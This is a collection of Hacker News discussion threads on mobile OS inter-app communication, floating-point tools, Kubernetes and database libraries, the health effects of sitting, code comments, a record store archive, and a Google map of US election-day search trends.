for work (well, "work" might be a bit exaggerated here) and targeted task-
fullfilment too.
Time to rethink the mobile OS as a whole.
~~~
manojlds
Android does this already. Windows 8 (RT) and Windows Phone do too. The
article is only about iOS.
~~~
earlz
Windows RT does NOT do this.. They have a few very limited APIs for IPC, such
as Search.. other than that, it's very tied down. Even so much so that it's
_impossible_ to make a universal file browser. You have to declare ahead of
time which file extensions your application should be capable of opening
------
residualmind
This is why I'm still not able to wrap my head around some developers'
fascination or love for iOS. Or actually apple at all, since the Apple ][ tbh.
Especially when it is becoming more clear that they target the "consumer"
range. Unless it's only for profit. But love? Off topic, sorry. Android
intents.
~~~
MrScruff
I think you're conflating being a software developer and being a power user.
------
ianstallings
Although it's not a true "pipe", the best way to handle data transfer between
apps on iOS is to use custom URL schemes. I've done this to pass data and
launch another application.
See "communicating with other apps":
[https://developer.apple.com/library/ios/documentation/iPhone...](https://developer.apple.com/library/ios/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/AdvancedAppTricks/AdvancedAppTricks.html)
In one app framework we built we had a fairly complicated parser and it could
handle a pretty wide variety of URL paths and the supplied data. But there in
turn lies the problem - each app must have a mechanism to handle the parsing
and routing for these URLs.
~~~
rcoh
This is a good start -- [http://x-callback-url.com/](http://x-callback-
url.com/) is a standard and listing for apps that support it. The biggest
problem is that there is a limited amount of data that you can transfer in a
URL (about 80KB I believe) so even large PDFs will start to cause problems.
------
bitwize
Small isolated components lead to communication overhead and can cripple
performance.
They offer certain advantages, too, but this is no different from any other
software-engineering tradeoff.
There's a reason why the winning kernel is a monolithic kernel, and the
winning init system is one large God-daemon that replaces many smaller legacy
daemons.
~~~
rcoh
There's a difference between the performance you want in your kernel and the
performance you need sharing to Facebook. It seems like creating monolithic
mobile apps is premature optimization.
------
mimiflynn
When I read the headline I thought "isn't iOS based on Darwin?" and then I
read the article. Good points, but I feel the headline is a bit off.
[http://en.wikipedia.org/wiki/Darwin_(operating_system)](http://en.wikipedia.org/wiki/Darwin_\(operating_system\))
------
ekr
All the downfalls mentioned in the article (and many others) are direct
consequences of non-free software. Apparently the author is oblivious to this
fact, and the nature of free software.
------
ratherhost
What the author wants is Android.
iOS doesn't work that way, and for good reasons.
------
getachew
What inkmobility can learn from Unix: open source and live forever.
| {
"pile_set_name": "HackerNews"
} |
Apple's new battery case is awful - williswee
https://www.techinasia.com/disconnect-apples-battery-case-awful-buy/
======
stephgonnasteph
The Verge has a pretty nice write up about how they might've been designing
around Mophie's patents. They make a good point, but still doesn't make the
design any better.
| {
"pile_set_name": "HackerNews"
} |
Cinpy - or C in Python - at
http://amundblog.blogspot.com/2008/12/cinpy-or-c-in-python.html
======
jcl
You might also want to look at Scipy's weave:
<http://www.scipy.org/Weave>
It's not as small or self-contained, but it looks to be more actively
maintained.
A comparison with some other optimization methods:
<http://www.scipy.org/PerformancePython>
------
jgrahamc
So C is the new assembler. I remember the days when you optimized your C code
by writing inline assembly.
------
petercooper
Very nice. If any folks interested in Ruby are reading the article and feeling
jealous, make sure to check out RubyInline (
<http://www.zenspider.com/ZSS/Products/RubyInline/> ) - it's pretty solid.
Might do a direct comparison of the efficiency of the bridging between
RubyInline and Cinpy if I get some time. I _suspect_ Python would win just
because Ruby's object bridging is quite intense..
| {
"pile_set_name": "HackerNews"
} |
Floating point explorer - ingve
https://kayru.org/articles/float/
======
nebgnahz
Alternative FP explorer:
\- double precision:
[http://bartaz.github.io/ieee754-visualization/](http://bartaz.github.io/ieee754-visualization/)
\- single precision:
[https://nebgnahz.github.io/ieee754-visualization/](https://nebgnahz.github.io/ieee754-visualization/)
~~~
ktpsns
This one is actually much nicer.
------
rwmj
Mostly seems to be _" TODO"_. It would be nice if it showed the binary
representation and a number line in a graphical format. How dense are the
numbers around this one? What is the next larger/smaller representable number?
Is the number denormalized? etc.
~~~
amelius
> How dense are the numbers around this one?
Isn't that what the "epsilon" field tells us?
------
userbinator
For a second, I thought that [http://www.exploringbinary.com/converters-and-
calculators/](http://www.exploringbinary.com/converters-and-calculators/) had
changed domain names.
(The rest of that site has plenty of good, extremely detailed articles about
floating-point maths too.)
~~~
apocrypher
Thank you so very much for your link!
Simultaneously with my definite elucidation, I felt a really timely reminder
that I haven't read the whole internet, and it's a beautiful thing to be
informed of such a rich and established resource, just when you are getting
sure that soon your bitterness and cynicism over the demise of the internet
will soon inevitably pass.
Thank you, in other words, for a very useful link to what looks like it's
great reading, and the whole breath of fresh air surrounding your
contribution. I gush, but the aversion of creeping cynicism is genuinely
something that I'm grateful for any day without exception!
------
amelius
I'm missing a rounding mode.
| {
"pile_set_name": "HackerNews"
} |
Show HN: Kdo – Deployless Development on Kubernetes - stepro
https://github.com/stepro/kdo
======
stepro
Kdo is a command line tool that enables developers to run, develop and test
code changes in a realistic deployed setting without having to deal with the
complexity of Kubernetes deployment and configuration.
With Kdo, you can:
\- run a command in a Kubernetes cluster _without any deployment_ ;
\- build and use a custom image to run a command _without any registry_ ;
\- inherit pod configuration from an existing workload _instead of deploying_
;
\- replace existing pods while running a command to _evaluate end-to-end
behavior_.
| {
"pile_set_name": "HackerNews"
} |
The Palm Pre Will Be an iPhone Killer - nreece
http://www.pcworld.com/businesscenter/article/162528/the_palm_pre_will_be_an_iphone_killer.html
======
grinich
The iPhone has been out for nearly two years now. Besides from a mild software
and hardware update, it largely is the same product.
In those two years, I don't think Apple's engineers have just been sitting
around.
This phone may in fact be an "iPhone killer" but I think the iPhone is showing
its age already. It's being duplicated all over the place.
WWDC is going to bring something entirely new, and I'm not just talking about
cell phones.
------
tsally
I'm just happy that Palm has been around for long enough to have a large
enough patent portfolio to allow them to innovate. Without that, I'm not sure
something like the Palm Pre would have a chance.
~~~
silentOpen
What a sad commentary on the state of our "intellectual property" laws. The
USA needs to make some major IP reforms if it doesn't want to get trounced in
the tech sector.
------
smoody
Still no mentions about sync capabilities. If sync doesn't work seamlessly
with iTunes, calendars, and photo albums, it's going to be a bumpy ride I
suspect.
------
ahoyhere
It's true, Palms have a solid 8 or 9 years of being The "It" Product that
every kid wants and every adult can't help but buy! So many cool people own
multiple Palms and have pledged to buy every new Palm that comes out... plus
those rocker ads are really snazzy, brilliant on Palm's part, their name is
practically synonymous with "cool."
Or not.
I wish people would pause, think, and learn from the fact that every "X
Killer" fails to kill X, at least where X is a well-branded, well-positioned
product with a history and a devoted customer base.
Palm, as a company, is just one big fat mistake after another.
| {
"pile_set_name": "HackerNews"
} |
Why Sitting May Be Bad for Your Brain - a_w
https://www.nytimes.com/2018/08/15/well/move/why-sitting-may-be-bad-for-your-brain.html
======
anoplus
I started stretching and walking around once an hour or so few years ago, and
it is the simplest most efficient prevention to various pains. Even in harsh
deadlines, when I feel the slightest pain, I stop everything, and get-
up/stretch/walk around for 5 minutes. Health is above everything else.
~~~
fb03
Dude, I'm trying to do this right now because of back pain and stuff.
It looks nice on paper but I have trouble focusing so when I actually get in
the zone I tend to forget and hours go by, I only stop when I'm actually
experiencing pain (an stimulus which reminds me to get back to reality).
Any tips?
~~~
degenerate
I had the same problem. Tried the standing desk, no go. Couldn't get in the
zone ever (and I tried it for 2 full weeks).
My tip: drink a LOT of fluids. You will have to keep going to the bathroom
which is a natural break point, and not something as abrupt as an alarm; the
urge to pee sort of creeps on you, so you can stay in the zone until you
really gotta go. The hydration is good for your brain/body anyway, so win-win.
~~~
marviel
Seconded.
Found that lack of fluids (water!!!) was the source of many of my headaches,
so I came at this solution from that angle.
As an aside, this does require you to chunk your work differently. I've found
it's a great practice to use such opportunities to keep up with the
communication part of your work, so that when you hit the desk again, your
mind & messaging apps are clear of those social notifications
------
jhabdas
Thinking too much can be bad for your brain too, which is why I'm grateful
this article immediately turned black and unreadable on the HN Android app.
------
amelius
Is there a way to measure this? E.g. if blood circulation is impaired, I get a
warning? (And why doesn't my body give the warning, by the way?)
------
dhaneshnm
I wonder how this affects people who meditate regularly for few hours every
day. They mostly sit cross legged or in lotus pose, but they do sit for a
significant amount of time.
------
auggierose
I recently introduced a glassboard to my (home) office, and it makes me stand
up regularly, so that's a possible alternative to a standing desk (which I
don't like).
~~~
cimmanom
What is a glassboard, and how does it make you stand?
~~~
wyclif
I think he means one of these. Highly recommended, BTW:
[http://www.glasswhiteboard.com/](http://www.glasswhiteboard.com/)
~~~
dmd
warning, autoplaying video
------
semi-extrinsic
There is a Cochrane review [1] on the health effects of reducing time spent
sitting at work that came out two years ago, which laid out the truth in no
uncertain terms:
"The quality of evidence is low to very low for most interventions, mainly
because of limitations in study protocols and small sample sizes."
And still people keep doing shit like this, performing studies with _fifteen_
people??
[1] [https://www.cochrane.org/CD010912/OCCHEALTH_workplace-
interv...](https://www.cochrane.org/CD010912/OCCHEALTH_workplace-
interventions-methods-reducing-time-spent-sitting-work)
~~~
dalbasal
Idk the exact answer, but I doubt the reason is "researchers don't understand
the statistics." It is some "how the sausage is made" reason, most likely.
For example: researchers have the budget/resources to to a preliminary study.
They use the interesting results of this study to secure funding for a larger
sample size study.
Btw, a small sample size study isn't useless necessarily. You can refine
methodology, with less on the line. You can also (more or less) validly
exclude certain conclusions, to avoid wasting resources on a wider study.
The problem is with pop science headlines, like it is in any other
journalistic field. I think it's less of a problem though, than many think.
Publishing in the popular press needs to be understood as "academics working
on X" not "X has been proven."
~~~
koboll
>The problem is with pop science headlines, like it is in any other
journalistic field. I think it's less of a problem though, than many think.
Publishing in the popular press needs to be understood as "academics working
on X" not "X has been proven."
Writing a headline that misrepresents a single study's conclusion as "proven"
or what "scientists say" \-- especially when the conclusion is contradicted by
most others on the subject -- should be considered by journalistic ethics
watchdogs as an extreme violation bordering on an outright lie.
The media seems simultaneously bewildered as to why the public no longer
trusts it, while incapable of recognizing and responding properly to obvious
breaches of the public trust like inflated science headlines.
~~~
dalbasal
Its not just science, it's anything. Also, it's not just media, it's
everything.
The only thing to do is individual. Take "facts" with a grain of salt, at the
very least until you have read the article. Do not take headlines as facts.
You can just read academic journal abstracts, if you want a more academic and
precise reading materials.
There are trade offs between rigour and the digestible content intended to be
browsed over coffee.
~~~
koboll
>Take "facts" with a grain of salt, at the very least until you have read the
article. Do not take headlines as facts.
One consequence of social media is that headlines now have outsized importance
in relation to the substance of actual articles.
Headlines, thanks to links and embedded snippets, get dispersed to 1000x more
eyeballs than the articles themselves. So when they contradict or misleadingly
oversimplify (which is often, especially since they are often written to draw
clicks) it's the headline version of the truth that wins out, while the actual
readers are left to chime in with "Hey, that's not what the article actually
said..." in the comments below, swept away in a sea of respondents who
commented only after reading the headline.
Journalistic ethics haven't caught up to this. They're still playing by the
rules of legacy media, where you can bend the truth a little to make a joke or
to draw people in. The problem is that in the digital age, that unfortunately
amounts to spreading a falsehood that usually overshadows the facts of the
piece.
------
Leary
I'm still waiting for the nytimes article on why sitting may be bad for my
butt.
~~~
prdonahue
It's actually terrible for your butt (or at least your gluteus muscles,
especially the gluteus medius).
When you sit all day these muscles get inhibited/weak. When they're weak,
you're more likely to have lower back pain. I sit a lot so I try to counteract
that (as best as can be done) with some targeted glute med stuff after work.
Check out [http://posturedirect.com/is-sitting-destroying-your-butt-
mus...](http://posturedirect.com/is-sitting-destroying-your-butt-muscles/) for
some more detail.
~~~
jondwillis
At age 28, after 14 years of pretty intense computer usage... my body is an
absolute mess. I work out, do yoga, run. Nothing completely frees me from the
pain I have mostly from sitting all day, every day for my work.
~~~
HatchedLake721
Have you seen a chiropractor?
~~~
AstralStorm
Go to an actual honest licensed massagist first. And GP, since this is not
right at all and sitting with breaks shouldn't do this. (not a doctor, but
this might be how early lumbar disk problem manifests)
~~~
jondwillis
Copied from another sub-thread. So the full backstory is that I injured my
back when I was 20, playing tennis barefoot of all things. My doctor just gave
me muscle relaxers and told me to stretch more, which I of course did not do.
Since then, I have re-injured my lower back three or four times, doing
deadlifts and squats (incorrectly, I guess, not through lack of trying
though.) Since my last injury, I have lowered weight, focused on form even
more, and started doing Yoga for better core strength and flexibility. It is
slowly helping and I haven't re-injured myself for over a year. I think I have
just severely damaged my spine and I should probably go see a good doctor,
chiropractor, or licensed massage therapist like some other comments have
suggested. To quote episode 7 of HBO's hit limited series, "Sharp Objects",
"Your health is not a debt you just cancel. The body collects."
------
peaktechisnow
Sample size: 15 people.
| {
"pile_set_name": "HackerNews"
} |
Show HN: ESENT Serialize, a .NET Persistence and Query Layer for ESENT NoSQL DB - Const-me
https://github.com/Const-me/EsentSerialize
======
Const-me
Got some spare time, ported my old open source project to UWP platform. Used
the library in several commercial projects, works OK.
MS-provided ESENT API is too low-level, and its documentation is too low-level
as well, making the DB engine relatively hard to use.
Hopefully, I was able to fix that.
As a starting point, here’s a quick start demo project:
[https://github.com/Const-
me/EsentSerialize/tree/master/Demos...](https://github.com/Const-
me/EsentSerialize/tree/master/Demos/QuickStart)
~~~
maxpert
Thank God you ported it UWP. I always had question "why would Microsoft
release a application platform without DB support?". Until I learned there a
thing call Jet and then there is something called ManagedESENT with API
complicated as hell! ObjectDB recently did a UWP release too and made life
somewhat easier. I one can write a simple Key/Value store on top of ESENT.
~~~
Const-me
There’re two key-value examples you can look at.
Quick start demo essentially implements simple int->string dictionary (plus a
full text index for that values).
DictionaryDemo is slightly more complex, it implements string->ValueType
dictionary, where values are stored in binary XML format using data contract
serializer.
| {
"pile_set_name": "HackerNews"
} |
Should You Comment Your Code? - jsonmez
http://simpleprogrammer.com/2014/02/13/comment-code/
======
eridal
Leaving aside code documentation (aka dockblocks), I can think of dozen of
examples where you MUST comment you code..
- strict order of execution
- math formulas in the code (or its results)
- external systems requirements/hacks
- non-explicit side effects
- legacy or costly known issues
- intention of cryptic code
- design choices (and its tradeoff)
- ..
This obviously implies you actually care about who will maintain such best
------
simonblack
Comments are an act of kindness towards the person who will be doing the
maintenance on the code you have written. It's doubly kind when that code
maintainer is yourself.
------
hwgd
Commenting code only works if other people who change the code also bother to
change the comments
------
0xDOOD
If you want to, yes.
If you don't, I feel sorry for whoever has to maintain your code.
------
Randgalt
Rule #1 - Comments lie
~~~
0xDOOD
So can variable and function names, but comments are easier to update.
| {
"pile_set_name": "HackerNews"
} |
A happy ending for Seattle’s Bop Street Records: a nonprofit buys the collection - wallflower
https://www.seattletimes.com/entertainment/music/a-happy-ending-for-seattles-bop-street-records-a-nonprofit-buys-up-the-entire-collection/
======
bergstromm466
> In a phone interview confirming the sale, Kahle said the goal of his
> organization is “to build the Library of Alexandria for the digital age,”
> referring to the library in ancient Egypt that famously burned down.
> Kahle has a particular interest in obscure recordings, he said. “High school
> marching bands, soundtracks for foreign movies you’ve never heard of — those
> are just treasures.”
Love Kahle
------
TedDoesntTalk
If the purchaser, the Internet Archive, digitizes the entire collection, do
they have the legal right to stream the content to the world without paying
royalties?
~~~
SethTro
They've been digitalizing media and only streaming it when it's outside of
copyright. This means many 2050+ for recent music but ~1970s music and earlier
is fair game.
~~~
mgbennet
Copyright for sound recordings is pretty complicated in the US. Recordings
from before 1972 were protected by a variety of state level laws, so even
recordings that should be in the public domain, like ones from before 1924,
weren't guaranteed to be so until the 2018 Music Modernization Act[1], and
even so have a 3 year grace period from when that was enacted. It gets even
more confusing for recordings from 1924-1978, when rights holders had to file
for copyright and then file for extensions, AND the law has changed numerous
times for different dates within that range.[2] So no, it's not really fair to
say that 1970's and earlier music is fair game.
[1] [https://www.eff.org/deeplinks/2018/09/new-music-
modernizatio...](https://www.eff.org/deeplinks/2018/09/new-music-
modernization-act-has-major-fix-older-recordings-will-belong-public)
[2] [http://www.publicdomainsherpa.com/public-domain-sound-
record...](http://www.publicdomainsherpa.com/public-domain-sound-
recordings.html)
------
malandrew
There's a Hendrix record they had that I was interested in buying. If someone
has a contact there, please let me know in a reply.
~~~
edoceo
I can put a note in their mail slot, I live biking distance.
~~~
malandrew
I'm about the same distance, but thanks for the offer.
| {
"pile_set_name": "HackerNews"
} |
Google Trends Electionland - wlj
http://electionlandtrends.appspot.com/
======
dmix
Apparently a bunch of states (23?) are using a software system called
Interstate Crosscheck to look for "double voters".
> Election officials in more than two dozen states have compiled lists of
> citizens whom they allege could be registered in more than one state – thus
> potentially able to cast multiple ballots – and eligible to be purged from
> the voter rolls.
The problem is that it often only uses a persons name as a singular data
point. So if a person votes with the same first/last name as another person in
another state, it's possible that vote could be wiped out. It was even
matching names even though there were differences in middle names or had Jr/Sr
at the end.
The journalist, Greg Palast, who investigated this back in 2014 has been doing
radio circuits again recently saying that it's still being used in a bunch of
states. Not sure about the validity of this since there hasn't been much
reporting elsewhere on this. He seems to be the only one talking about it. And
googling 'Interstate Crosscheck' only brings up his articles and democrat
superpac websites.
[http://projects.aljazeera.com/2014/double-
voters/index.html](http://projects.aljazeera.com/2014/double-
voters/index.html)
[http://www.rollingstone.com/politics/features/the-gops-
steal...](http://www.rollingstone.com/politics/features/the-gops-stealth-war-
against-voters-w435890)
~~~
BinaryIdiot
Interesting. I'm registered in 3 states (I always kinda assumed registering in
a new state unregistered you in another) and my wife is registered in 2. I
wonder if my name is on that list. Damn even the criteria they use doesn't
technically have to be unique; it's possible to have the same name, DOB and
last 4 digits of a SSN (though that's likely incredibly rare but still the
possibility is theoretically there).
I feel as if our entire election and voting process needs a `re-write`.
~~~
foxylad
> I feel as if our entire election and voting process needs a `re-write`.
I'm not American, but in my opinion this should have been the the major issue
in this election. All the tripe about email servers and orange-tinted buffoons
seems designed purely to prevent people considering this.
May I humbly suggest two things: first, you swap the right to bear arms for
the right to hold citizen's initiated referendums. As I understand it, the
second amendment was designed to prevent government tyranny, but it's
obviously not working and causes a LOT of collateral damage.
Second, somehow beef up your fourth estate. Citizens need reliable information
that is not tainted by political or corporate agendas. I have no idea how to
do this, but you are a resourceful people.
~~~
zeveb
> May I humbly suggest two things: first, you swap the right to bear arms for
> the right to hold citizen's initiated referendums.
Most states have them, and they're pretty terrible. Get 51% of those of your
fellow citizens who bother to show up to support it, and a referendum can
rewrite any law — worse, an amendment can write anything into the state
constitution.
Our problem at the moment is that we're too much a democracy and too little a
republic.
> Second, somehow beef up your fourth estate.
I think that the media — particularly their coverage of the primaries — bear a
great deal of the blame for today. Making them stronger would exacerbate that.
------
NelsonMinar
It's pretty but what is this really telling us? There's a 126% increase in
searchers for "Voter intimidation" in Hoback, Wyoming. OK, so does that mean
that someone's being intimidated? Planning to intimidate? Curious about the
news? Does a "126% increase" mean there were 7 searches today instead of just
4?
~~~
nostromo
It's meaningless.
Near Seattle there are trends reported for "voter intimidation" and "long wait
times" and "voting machine problems."
Those trends make no sense for a region that votes by mail.
~~~
folksinger
The reports of "voter intimidation" on the electionlandstrends map matches the
boundary of this racial demographic map.
[http://www.censusscope.org/us/map_nhwhite.gif](http://www.censusscope.org/us/map_nhwhite.gif)
Here's those two maps combined:
[http://i.imgur.com/eKT5s0h.png](http://i.imgur.com/eKT5s0h.png)
~~~
nostromo
[https://xkcd.com/1138/](https://xkcd.com/1138/)
~~~
folksinger
Yeah but the maps I'm showing don't follow general population density so the
point being made by this comic doesn't apply in this instance.
~~~
arcticfox
Unless I'm reading something on your graph incorrectly it's almost perfectly
correlated with Martha Stewart Living subscribers. Looks like it applies
almost exactly to me.
~~~
folksinger
Well I already did the work I'm willing to do on my end. Further research
would obviously have to take in to consideration deviations from general
population density, but just looking at the map, there's a lot of voter
intimidation being reported in the south that clearly has nothing to do with
population density.
Also, there's no correlation with voter intimidation and population density
for cities in the midwest.
So I guess it's just my word and my graph against your word and, well, nothing
else. So you better get to work!
~~~
idanoeman
I'm not sure why you're pretending that it should be someone else's job to
prove the point you're trying to make. You threw up a graph which looks
identical to a population-density graph and are pretending you gave us
evidence of your assertion.
~~~
folksinger
No, I'm saying that he has to provide a better refutation of my point.
I do not agree that the graphs look identical.
What point am I trying to make, BTW?
------
mangeletti
I just had to vote "provisional" myself (Palm Beach County).
I have a feeling there is going to be a lot of fraud reports against the
Florida Board of Elections. We registered almost 2 weeks before our Oct 11
deadline, yet neither my wife nor I were in their system - we received no mail
or anything from the BoE.
My vote, I'm absolutely certain now, will be thrown in the trash. Even if it
isn't, the election will be over by the time it's "counted".
Think I'm simply spreading FUD? Take a look at the 2004 Florida general
election... this state's election board is wholly corrupted.
~~~
biot
Why isn't eligibility automatic? Whether state of federal, doesn't the
government already know whether or not you qualify to vote?
~~~
Someone1234
That would make rational sense, but strangely no.
Unfortunately the US is setup in such a way so that individual states get to
decide who is eligible to vote. This is a state right defined in the
constitution[0].
In practice the vast majority of states have similar voting requirements. But
because, in theory, they could all differ then no unified automated system is
possible, it would have to be per-state.
Of course individual states could create an automatic voter registration
system, and I believe some have/do. But a lot of other states are actively
trying to disenfranchise the poor, young, or minorities who would benefit the
most from automatic registration.
Ultimately voting and voter registration needs to be handled by a non-partisan
organisation within states. But considering it would take partisan politicians
to set up such a non-partisan organisation, it has little chance of happening.
[0] [http://blog.constitutioncenter.org/2014/08/constitution-
chec...](http://blog.constitutioncenter.org/2014/08/constitution-check-who-
decides-who-gets-to-vote/)
~~~
jimktrains2
In PA, when you change your address with PennDOT (who runs our DMV), there is
a checkbox to update your voter registration. It's not the most obvious
connection, but it seems to work pretty well.
------
jplahn
A 100% increase in searches for "voter intimidation" in my city (Seattle) is
interesting. I'd love additional context on who is searching for that (i.e. is
it the intimidators or the fearful?)
Nonetheless, this seems like the beginning of an interesting tool. What would
it take to do some sort of fuzzy matching on related searches, like broken
voting machines for voting machine problems? I suppose you could wait for a
related term to breach a threshold and begin tracking it with related terms.
~~~
girzel
Given that Washington State is all mail-in, I doubt we're seeing a lot of
actual voter intimidation! I'm also in Seattle, and dropped my ballot off at
one of three drop-off points. There were some nice people in smocks there who
thanked me for voting.
~~~
cwilkes
This. I don't understand the whole going to a location to vote on two dozen
things that I probably don't know well enough versus reading a pamphlet and
taking an hour or so to fill it out at my leisure.
Seriously why do we have voting places anymore? Just do it all by mail.
~~~
mikestew
_I don 't understand the whole going to a location to vote on two dozen things
that I probably don't know well enough versus reading a pamphlet and taking an
hour or so to fill it out at my leisure._
You're doing it wrong. Before you go to vote, do all of that stuff you listed
after the word "versus". Instead of marking a ballot, just write it down on a
piece of paper. Bring that paper with you when you vote. Worked well for me
during 30 years of going to a polling place.
Me, as a Washington resident, I miss going to the polling place. I dunno, I
just liked the whole physical process of going to our designated place,
mingling with my neighbors and fellow citizens...and going into work late
because you wouldn't dare ding me for voting. Because you don't hate
democracy...do you? Now voting is just more paperwork I have to do, along with
rebalancing my 401K and filling out those insurance forms I've been putting
off.
------
jedberg
So far all of these just look like population maps of the US, skewed by time
zone.
Basically if it's a heavily populated area that is awake, then the dots are
big.
Maybe as the day goes on it will level out to more interesting insights?
~~~
partisan
A population density overlay would have been helpful as would a voting trend
by state or even by municipality or district to understand if there are any
statistically relevant discrepancies. That said, I suspect the point of this
tool is to lower the barriers to voting to allow everyone's vote to be
collected.
------
mastermachetier
The UI on this app is spectacular actually . I want to sit down with the team
that wrote it and just ask questions for days.
~~~
twhb
Performance is poor on my older laptop. Maybe I'm getting to the point where
web devs should leave me in the dust, but, it's also a shame to waste
resources on newer systems. I suspect the problem is that it's built on React,
which struggles with large data sets.
If the team is reading this, I'd bring up a point made on the Netflix dev
blog: the key to great React perf is doing the expensive stuff outside of
React. Do it low-level, stitch it in with lifecycle callbacks. You can end up
keeping most of your code in React's world, while fixing most of the
performance problem.
------
tangue
Google did something similar for the flu without any significant result[0].
Did things improved ?
[0] [https://www.wired.com/2015/10/can-learn-epic-failure-
google-...](https://www.wired.com/2015/10/can-learn-epic-failure-google-flu-
trends/)
------
ryanSrich
On days like this I'm glad I live in Oregon. Honestly it's the only sane and
responsible way to vote.
~~~
Munksgaard
Forgive my ignorance, but how do you vote in Oregon?
~~~
ryanSrich
You don't get the option to vote in person. We don't even have voter booths.
Instead, the state mails you a voter guide and a ballot that you fill out in
the convenience of your own home. This allows you to review the candidates and
new proposed bills line by line.
Once filled out you simply drop it off at one of the hundreds of drop-off
locations and you're done (or mail it in if you have time). This can all be
done weeks ahead of November 8th.
~~~
AndrewOMartin
And what if an intimidating person in your household has strong opinions about
how you should mark that ballot?
~~~
davidw
There is always going to be some potential for that. "Take a picture of how
you voted or I'll beat you" would work fine even with polling places, although
it'd be a little trickier.
The system saves a ton of money and time, and we have record numbers of voters
in Oregon this year.
~~~
jachee
Taking photos of your ballot is actually illegal in my state. (MS) Presumably
for this very reason.
~~~
davidw
Sure, but if the ballot booth provides real privacy... it's not hard to do.
It's also a common method of proving you voted a certain way in order to sell
your vote.
Or hey, you can just peer over their shoulder:
[https://twitter.com/Gabbienain/status/796031055715246080](https://twitter.com/Gabbienain/status/796031055715246080)
~~~
kzisme
This morning when I voted I was surprised that it was hardly a "booth". It had
sides to the screen to attempt to block it from view, but it you turn your
head you could see the screen next to you - and their screen.
------
protomyth
I'm a bit peeved polls didn't open until 9AM in New Rockford ND when the state
(and a fair number of farmers) said they would open at 7AM. Wonder what that
would be on Google's chart.
~~~
ma2rten
"Long Wait Times"?
~~~
protomyth
I suppose two hours could be considered that. Its still harvest for a lot of
these folks so this is a not good thing. Lot of farmers were getting a full
mad on as I went back to my car. I'm not very fond of being late to work, but
I would not have made it back in time tonight.
------
idm
Sortof OT: I was also interested in election trends. While Google is focusing
on real-time search trends regarding voting, I looked at meme trends leading
up to the election. There are interesting trends in the amount of attention
different candidate memes received over time. It will be interesting to see
whether the attention received by candidates is translated into votes, today.
Here's the working paper: [http://iandennismiller.github.io/election-
memes](http://iandennismiller.github.io/election-memes)
EDIT: quick link to viz: [http://imgur.com/S6nHNLT](http://imgur.com/S6nHNLT)
~~~
nhebb
They missed out on not including Reddit in the social networks. Reddit seemed
like meme-central this election for Sanders and Trump.
~~~
hannipede
Too many CTR shills on reddit
~~~
jrockway
How do you distinguish between legitimate Hillary supporters, and CTR shills?
------
timdierks
This is pretty, but it's all statistical outliers; every highlighted spot is a
small city where random fluctuations above a low baseline are most likely to
generate seemingly-impressive spikes in query volume.
~~~
anonymoushn
like Austin, Phoenix, and San Francisco?
------
TallGuyShort
This is cool, but seems to me to be very especially vulnerable to the Observer
Effect. Any fluctuation in these search terms that shows up here will cause
people to try and find out more by searching for those terms themselves. What
may have started out as random noise gets fed through a feedback loop and
amplified, while not necessarily being signal.
I saw an increase in searches for voter intimidation near where I live. I
immediately went to DuckDuckGo, and "!n voter intimidation". Now I'm part of
the problem, apparently :)
------
traskjd
What's the visualisation library they're using here? Looks great (I'm
_guessing_ D3, but it's hard to break through the webpack file to figure it
out).
~~~
nthitz
React + d3 + Canvas + More. Disclaimer: I helped build it.
~~~
deckar01
You might consider including the BSD licenses those projects were published
under in your minified JavaScript file. Is this project's source code
published anywhere?
~~~
nthitz
Thanks for the heads up. Our deploy process was stripping out all the
attributions :(. This has been fixed and they are back in now. Regrettably the
project's source is not currently available.
~~~
deckar01
Awesome! Thanks for working on this project.
------
throwawayReply
I wish this were normalized by electoral college size, it would go part-way to
normalizing by population but also be normalized with respect to impact on
outcome.
------
josefresco
There's also this:
[https://usaelectionmonitor.ushahidi.io/views/map](https://usaelectionmonitor.ushahidi.io/views/map)
Article:
[http://qz.com/825442/kenyas-crisis-mapping-startup-
ushahidi-...](http://qz.com/825442/kenyas-crisis-mapping-startup-ushahidi-
will-monitor-the-us-presidential-election/)
------
neals
I love the American elections! The data, the coverage, the websites, the data-
driven-campaigning... all of it.
I mean, I'm glad I don't live there and have to choose between these disasters
of candidates and see either of them hand over the control of the world to
Asia... but I do love the elections as a platform!
------
vhost-
Nothing in Oregon because we all sent our ballots in a week or two ago.
Interesting viz to see.
------
whybroke
Particularly intersting is the 'inactive voter status' band along the cotton
belt (a region of African Americans in the southern sates where the voting
rights act was recently repealed). Yet no such searches in KS, CO, NE, WY etc.
------
mbesto
Here's what I wanna know - what has been the increase (or decrease) in voter
intimidation this year versus 2012.
------
farright
While we're on the subject of voter intimidation, there has been constant
intimidation of Trump supporters throughout this whole campaign[0]. And at the
same time, Democrats had a deliberate campaign to incite Trump supporters to
violence[1] although this required provoking them by infiltrating their
private events, while Trump supporters were harassed and abused on the
streets.
Progressives have this insane argument that goes that violence and
intimidation against Trump supporters is actually ok and not contrary to our
deepest values, because it is done by private citizens and not the government.
[0]
[https://www.youtube.com/watch?v=VUBpRexwiPg](https://www.youtube.com/watch?v=VUBpRexwiPg)
[1] [http://www.breitbart.com/big-
government/2016/10/17/exclusive...](http://www.breitbart.com/big-
government/2016/10/17/exclusive-okeefe-video-sting-exposes-bird-dogging-
democrats-effort-to-incite-violence-at-trump-rallies/)
------
avivo
This is part of the larger Electionland project, involving over 1000
journalists & journalism students.
[https://projects.propublica.org/electionland/](https://projects.propublica.org/electionland/)
------
zodPod
As someone trying to inspect dots, it's very annoying to me that the detail
windows pop up and can block other dots. I'm not sure how you'd stop this but
I found this very clunky to use. I'm also not sure if it offers anything
useful...
------
joelthelion
Is this kind of realtime data publicly available in any form?
------
meganvito
Just curious, for such a big system, how the quality of such a large service
system is assured? Even just for a single state.
------
lai
I like how Alaska is so chill.
~~~
halviti
I think you know this, but they're all still sleeping.
~~~
lai
They are either still sleeping or chill lol.
------
highCs
How is measured intimidation?
~~~
TheBiv
by searching "voter intimidation"
------
LeoPanthera
Geographic profile maps which are basically just population maps.
[https://xkcd.com/1138/](https://xkcd.com/1138/)
------
jordache
it looks like google wrote their own visualization js library?
------
guelo
This would be more accurate and real-time if it were built on Twitter.
Unfortunately, Twitter's API is a flaming mound of excrement.
------
yotamoron
So cool.
------
riebschlager
Obligatory. [1]
[1] [https://xkcd.com/1138/](https://xkcd.com/1138/)
~~~
kens
Why are xkcd mentions on HN always prefixed with Obligatory?
~~~
TheCoreh
"Obligatory xkcd reference", based on the idea that there are so many xkcd
comics, at least one of them will be relevant to any given thread.
~~~
draugadrotten
[https://relevantxkcd.appspot.com/](https://relevantxkcd.appspot.com/)
------
